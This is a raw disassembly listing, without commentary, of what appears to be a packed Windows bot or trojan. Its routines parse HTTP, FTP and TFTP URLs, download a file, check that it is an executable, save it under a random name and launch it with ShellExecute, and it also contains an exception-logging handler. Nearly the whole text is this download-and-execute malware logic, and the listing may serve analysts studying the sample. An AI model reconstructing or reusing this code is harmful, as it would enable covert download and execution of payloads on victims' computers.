		and	[ebp+var_41C], 0
		lea	eax, [ebp+var_41C]
		push	eax
		push	offset aContentLengthU ; "Content-Length: %u\r\n"
		push	[ebp+var_40C]
		call	sub_416BA2
		add	esp, 0Ch
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 1
		jnz	short loc_402818
		cmp	[ebp+var_41C], 0
		jnz	short loc_40282B


loc_402818:				; CODE XREF: sub_402698+175j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40282B:				; CODE XREF: sub_402698+17Ej
		cmp	[ebp+arg_1C], 0
		jz	short loc_40285D
		cmp	[ebp+var_41C], 2
		jb	short loc_40284A
		mov	eax, [ebp+var_410]
		movzx	eax, word ptr [eax]
		cmp	eax, 5A4Dh
		jz	short loc_40285D


loc_40284A:				; CODE XREF: sub_402698+1A0j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40285D:				; CODE XREF: sub_402698+197j
					; sub_402698+1B0j
		cmp	[ebp+arg_18], 0
		jz	short loc_40286E
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_41C]
		mov	[eax], ecx


loc_40286E:				; CODE XREF: sub_402698+1C9j
		push	[ebp+arg_14]
		call	sub_4167B9
		pop	ecx
		test	eax, eax
		jz	short loc_40288E
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40288E:				; CODE XREF: sub_402698+1E1j
		push	offset dword_4182AC
		push	[ebp+arg_14]
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 0
		jnz	short loc_4028BF
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4028BF:				; CODE XREF: sub_402698+212j
		push	[ebp+var_418]
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		push	ecx
		push	1
		push	[ebp+var_410]
		call	sub_416B7C
		add	esp, 10h
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		mov	eax, [ebp+var_41C]
		sub	eax, ecx
		mov	[ebp+var_41C], eax


loc_402910:				; CODE XREF: sub_402698:loc_402A1Dj
		cmp	[ebp+arg_20], 0
		jz	short loc_40293F
		mov	eax, [ebp+arg_20]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40293F
		push	[ebp+var_418]
		call	sub_416B82
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40293F:				; CODE XREF: sub_402698+27Cj
					; sub_402698+285j
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402976
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_40299E


loc_402976:				; CODE XREF: sub_402698+2D3j
		push	[ebp+var_418]
		call	sub_416B82
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	[ebp+arg_14]
		call	dword_4170AC
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40299E:				; CODE XREF: sub_402698+2DCj
		mov	eax, [ebp+var_420]
		cmp	eax, [ebp+var_41C]
		jbe	short loc_4029C8
		push	[ebp+var_418]
		call	sub_416B82
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_4029C8:				; CODE XREF: sub_402698+312j
		push	[ebp+var_418]
		push	[ebp+var_420]
		push	1
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B7C
		add	esp, 10h
		mov	eax, [ebp+var_41C]
		sub	eax, [ebp+var_420]
		mov	[ebp+var_41C], eax
		cmp	[ebp+var_41C], 0
		jnz	short loc_402A1D
		push	[ebp+var_418]
		call	sub_416B82
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_402A1D:				; CODE XREF: sub_402698+366j
		jmp	loc_402910
; ---------------------------------------------------------------------------

locret_402A22:				; CODE XREF: sub_402698+2Fj
					; sub_402698+BBj ...
		leave
		retn
sub_402698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A24	proc near		; CODE XREF: sub_402A32+625p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2B	proc near		; CODE XREF: sub_402A32+673p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A32	proc near		; DATA XREF: sub_403260+BCo

var_814		= qword	ptr -814h
var_804		= qword	ptr -804h
var_7FC		= dword	ptr -7FCh
var_7F8		= qword	ptr -7F8h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_6D5		= byte ptr -6D5h
var_6D4		= byte ptr -6D4h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= byte ptr -6BCh
var_6BB		= byte ptr -6BBh
var_63C		= dword	ptr -63Ch
var_638		= byte ptr -638h
var_637		= byte ptr -637h
var_632		= byte ptr -632h
var_631		= byte ptr -631h
var_534		= byte ptr -534h
var_430		= byte ptr -430h
var_2A8		= byte ptr -2A8h
var_2A7		= byte ptr -2A7h
var_2A6		= byte ptr -2A6h
var_2A3		= byte ptr -2A3h
var_296		= byte ptr -296h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= byte ptr -284h
var_283		= byte ptr -283h
var_204		= byte ptr -204h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 804h
		push	edi
		push	3AFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		and	[ebp+var_288], 0
		mov	[ebp+var_28C], 1
		and	[ebp+var_6CC], 0
		mov	al, byte_41DF10
		mov	[ebp+var_284], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_283]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DF10
		mov	[ebp+var_6BC], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_6BB]
		rep stosd
		stosw
		stosb
		and	[ebp+var_6C8], 0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_4185CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	7
		push	offset dword_4185C4
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_402B93
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_631]
		push	eax
		call	dword_417060
		test	eax, eax
		jnz	short loc_402B8E
		call	dword_417064
		cmp	eax, 20h
		jnz	short loc_402B58
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41858C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_402B7B
; ---------------------------------------------------------------------------


loc_402B58:				; CODE XREF: sub_402A32+FFj
		lea	eax, [ebp+var_631]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41855C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_402B7B:				; CODE XREF: sub_402A32+124j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402B8E:				; CODE XREF: sub_402A32+F4j
		jmp	loc_403256
; ---------------------------------------------------------------------------


loc_402B93:				; CODE XREF: sub_402A32+D6j
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402BB5
; ---------------------------------------------------------------------------


loc_402BA8:				; CODE XREF: sub_402A32:loc_402CD8j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax


loc_402BB5:				; CODE XREF: sub_402A32+174j
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402CDD
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 3Ah
		jnz	loc_402CD8
		mov	[ebp+var_7E0], 1
		jmp	short loc_402BF2
; ---------------------------------------------------------------------------


loc_402BE5:				; CODE XREF: sub_402A32:loc_402CD3j
		mov	eax, [ebp+var_7E0]
		inc	eax
		mov	[ebp+var_7E0], eax


loc_402BF2:				; CODE XREF: sub_402A32+1B1j
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		test	eax, eax
		jz	short loc_402C23
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 2Fh
		jnz	short loc_402C7A


loc_402C23:				; CODE XREF: sub_402A32+1D6j
		mov	eax, [ebp+var_7E0]
		and	[ebp+eax+var_6D5], 0
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jz	short loc_402C75
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		add	eax, [ebp+var_7E0]
		push	eax
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6C8], 1


loc_402C75:				; CODE XREF: sub_402A32+20Ej
		jmp	loc_403251
; ---------------------------------------------------------------------------


loc_402C7A:				; CODE XREF: sub_402A32+1EFj
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 30h
		jl	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 39h
		jg	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		mov	ecx, [ebp+var_7E0]
		mov	al, [ebp+eax+var_638]
		mov	[ebp+ecx+var_6D5], al
		jmp	short loc_402CD3
; ---------------------------------------------------------------------------


loc_402CCE:				; CODE XREF: sub_402A32+25Fj
					; sub_402A32+278j
		jmp	loc_40324C
; ---------------------------------------------------------------------------


loc_402CD3:				; CODE XREF: sub_402A32+29Aj
		jmp	loc_402BE5
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_402A32+1A1j
		jmp	loc_402BA8
; ---------------------------------------------------------------------------


loc_402CDD:				; CODE XREF: sub_402A32+18Aj
					; sub_402A32:loc_40324Cj ...
		push	7
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402D37
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D13
		push	offset a80	; "80"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_402D13:				; CODE XREF: sub_402A32+2CCj
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 1
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402D37:				; CODE XREF: sub_402A32+2C3j
		push	6
		push	offset aFtp	; "ftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402DB7
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D6D
		push	offset a21	; "21"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_402D6D:				; CODE XREF: sub_402A32+326j
		lea	eax, [ebp+var_632]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 2
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402DB7:				; CODE XREF: sub_402A32+31Dj
		push	7
		push	offset aTftp	; "tftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402E0E
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402DED
		push	offset a69	; "69"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_402DED:				; CODE XREF: sub_402A32+3A6j
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 3
		jmp	short loc_402E3D
; ---------------------------------------------------------------------------


loc_402E0E:				; CODE XREF: sub_402A32+39Dj
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_418500
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402E3D:				; CODE XREF: sub_402A32+300j
					; sub_402A32+380j ...
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402E5F
; ---------------------------------------------------------------------------


loc_402E52:				; CODE XREF: sub_402A32:loc_402F11j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax


loc_402E5F:				; CODE XREF: sub_402A32+41Ej
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402F16
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 40h
		jnz	loc_402F11
		mov	eax, [ebp+var_6C0]
		and	[ebp+eax+var_638], 0
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	[ebp+var_7E4], eax
		cmp	[ebp+var_7E4], 0
		jz	short loc_402ED8
		mov	eax, [ebp+var_7E4]
		and	byte ptr [eax],	0
		push	80h
		mov	eax, [ebp+var_7E4]
		inc	eax
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_402ED8:				; CODE XREF: sub_402A32+47Fj
		push	80h
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_637]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_402F16
; ---------------------------------------------------------------------------


loc_402F11:				; CODE XREF: sub_402A32+44Bj
		jmp	loc_402E52
; ---------------------------------------------------------------------------


loc_402F16:				; CODE XREF: sub_402A32+434j
					; sub_402A32+4DDj
		push	offset asc_4184F8 ; "/"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	[ebp+var_288], eax
		cmp	[ebp+var_288], 0
		jnz	short loc_402F67
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_4184CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402F67:				; CODE XREF: sub_402A32+504j
		mov	eax, [ebp+var_288]
		inc	eax
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_288]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		call	sub_416B64
		mov	[ebp-6D8h], eax
		and	[ebp+var_6C4], 0
		cmp	[ebp+var_6CC], 1
		jnz	short loc_403009
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402698
		add	esp, 24h
		mov	[ebp+var_28C], eax


loc_403009:				; CODE XREF: sub_402A32+582j
		cmp	[ebp+var_6CC], 2
		jnz	short loc_403065
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402A24
		add	esp, 24h
		mov	[ebp+var_28C], eax


loc_403065:				; CODE XREF: sub_402A32+5DEj
		cmp	[ebp+var_6CC], 3
		jnz	short loc_4030B3
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_402A2B
		add	esp, 1Ch
		mov	[ebp+var_28C], eax


loc_4030B3:				; CODE XREF: sub_402A32+63Aj
					; sub_402A32:loc_403256j
		cmp	[ebp+var_28C], 1
		jnz	loc_403219
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4030D7
		mov	[ebp+var_7EC], offset dword_4184C0
		jmp	short loc_403104
; ---------------------------------------------------------------------------


loc_4030D7:				; CODE XREF: sub_402A32+697j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jz	short loc_4030EE
		mov	[ebp+var_7F0], offset dword_4184B4
		jmp	short loc_4030F8
; ---------------------------------------------------------------------------


loc_4030EE:				; CODE XREF: sub_402A32+6AEj
		mov	[ebp+var_7F0], offset byte_41DF10


loc_4030F8:				; CODE XREF: sub_402A32+6BAj
		mov	eax, [ebp+var_7F0]
		mov	[ebp+var_7EC], eax


loc_403104:				; CODE XREF: sub_402A32+6A3j
		push	[ebp+var_7EC]
		mov	eax, [ebp+var_6C4]
		shr	eax, 0Ah
		mov	dword ptr [ebp+var_7F8], eax
		and	dword ptr [ebp+var_7F8+4], 0
		fild	[ebp+var_7F8]
		fstp	[ebp+var_7FC]
		call	sub_416B64
		sub	eax, [ebp-6D8h]
		mov	dword ptr [ebp+var_804], eax
		and	dword ptr [ebp+var_804+4], 0
		fild	[ebp+var_804]
		fdiv	flt_417270
		fdivr	[ebp+var_7FC]
		push	ecx
		push	ecx
		fstp	[esp+814h+var_814]
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41846C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_2A7]
		test	eax, eax
		jz	short loc_403198
		lea	eax, [ebp+var_534]
		push	eax
		call	dword_4170AC
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_403198:				; CODE XREF: sub_402A32+755j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jnz	short loc_4031AE
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_403217


loc_4031AE:				; CODE XREF: sub_402A32+76Fj
		movsx	eax, [ebp+var_2A3]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		mov	[ebp+var_7E8], eax
		cmp	[ebp+var_7E8], 20h
		jbe	short loc_4031F4
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4031F2
		call	sub_407148


loc_4031F2:				; CODE XREF: sub_402A32+7B9j
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_4031F4:				; CODE XREF: sub_402A32+7AEj
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418444
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403217:				; CODE XREF: sub_402A32+764j
					; sub_402A32+77Aj ...
		jmp	short loc_40323C
; ---------------------------------------------------------------------------


loc_403219:				; CODE XREF: sub_402A32+688j
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418414
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40323C:				; CODE XREF: sub_402A32:loc_403217j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_40325B
; ---------------------------------------------------------------------------


loc_40324C:				; CODE XREF: sub_402A32:loc_402CCEj
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403251:				; CODE XREF: sub_402A32:loc_402C75j
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403256:				; CODE XREF: sub_402A32:loc_402B8Ej
		jmp	loc_4030B3
; ---------------------------------------------------------------------------


loc_40325B:				; CODE XREF: sub_402A32+157j
					; sub_402A32+406j ...
		pop	edi
		leave
		retn	4
sub_402A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403260	proc near		; CODE XREF: sub_40A9CF+959p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 0
		jnz	short loc_403271
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_403271:				; CODE XREF: sub_403260+Aj
		push	3AFh
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_40328A
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_40328A:				; CODE XREF: sub_403260+23j
		push	8
		push	7Ah
		push	61h
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_410501
		add	esp, 14h
		and	[ebp+eax+var_10], 0
		push	offset dword_418620
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4032BF
		lea	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax


loc_4032BF:				; CODE XREF: sub_403260+57j
		push	104h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_14]
		add	eax, 20Ch
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		push	offset dword_4185FC
		push	0
		push	[ebp+var_14]
		push	offset sub_402A32
		call	sub_4095A4
		add	esp, 18h

locret_403329:				; CODE XREF: sub_403260+Cj
					; sub_403260+25j
		leave
		retn
sub_403260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40332B	proc near		; CODE XREF: sub_4093B6+A0p
					; sub_4094E6+9Bp ...

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	1
		push	offset dword_41DF1C
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	dword_41DF18, 0
		jz	loc_4034D9
		mov	[ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER"
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_110], eax
		cmp	[ebp+var_110], 0C0000025h
		ja	short loc_4033A4
		cmp	[ebp+var_110], 0C0000025h
		jz	short loc_4033FA
		cmp	[ebp+var_110], 80000003h
		jz	short loc_4033DF
		cmp	[ebp+var_110], 0C0000005h
		jz	short loc_4033D6
		cmp	[ebp+var_110], 0C000001Dh
		jz	short loc_4033E8
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033A4:				; CODE XREF: sub_40332B+45j
		cmp	[ebp+var_110], 0C000008Dh
		jb	short loc_403413
		cmp	[ebp+var_110], 0C0000093h
		jbe	short loc_40340C
		cmp	[ebp+var_110], 0C0000094h
		jz	short loc_4033F1
		cmp	[ebp+var_110], 0C00000FDh
		jz	short loc_403403
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033D6:				; CODE XREF: sub_40332B+69j
		mov	[ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033DF:				; CODE XREF: sub_40332B+5Dj
		mov	[ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033E8:				; CODE XREF: sub_40332B+75j
		mov	[ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033F1:				; CODE XREF: sub_40332B+9Bj
		mov	[ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033FA:				; CODE XREF: sub_40332B+51j
		mov	[ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_403403:				; CODE XREF: sub_40332B+A7j
		mov	[ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_40340C:				; CODE XREF: sub_40332B+8Fj
		mov	[ebp+var_8], offset aException_flt ; "EXCEPTION_FLT"


loc_403413:				; CODE XREF: sub_40332B+77j
					; sub_40332B+83j ...
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_40342A
		mov	[ebp+var_114], offset aRestarting ; "Restarting"
		jmp	short loc_403434
; ---------------------------------------------------------------------------


loc_40342A:				; CODE XREF: sub_40332B+F1j
					; DATA XREF: .RLPack:0043B957r	...
		mov	[ebp+var_114], offset aContinuing ; "Continuing"


loc_403434:				; CODE XREF: sub_40332B+FDj
		push	[ebp+var_114]


loc_40343A:
		push	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+arg_0]
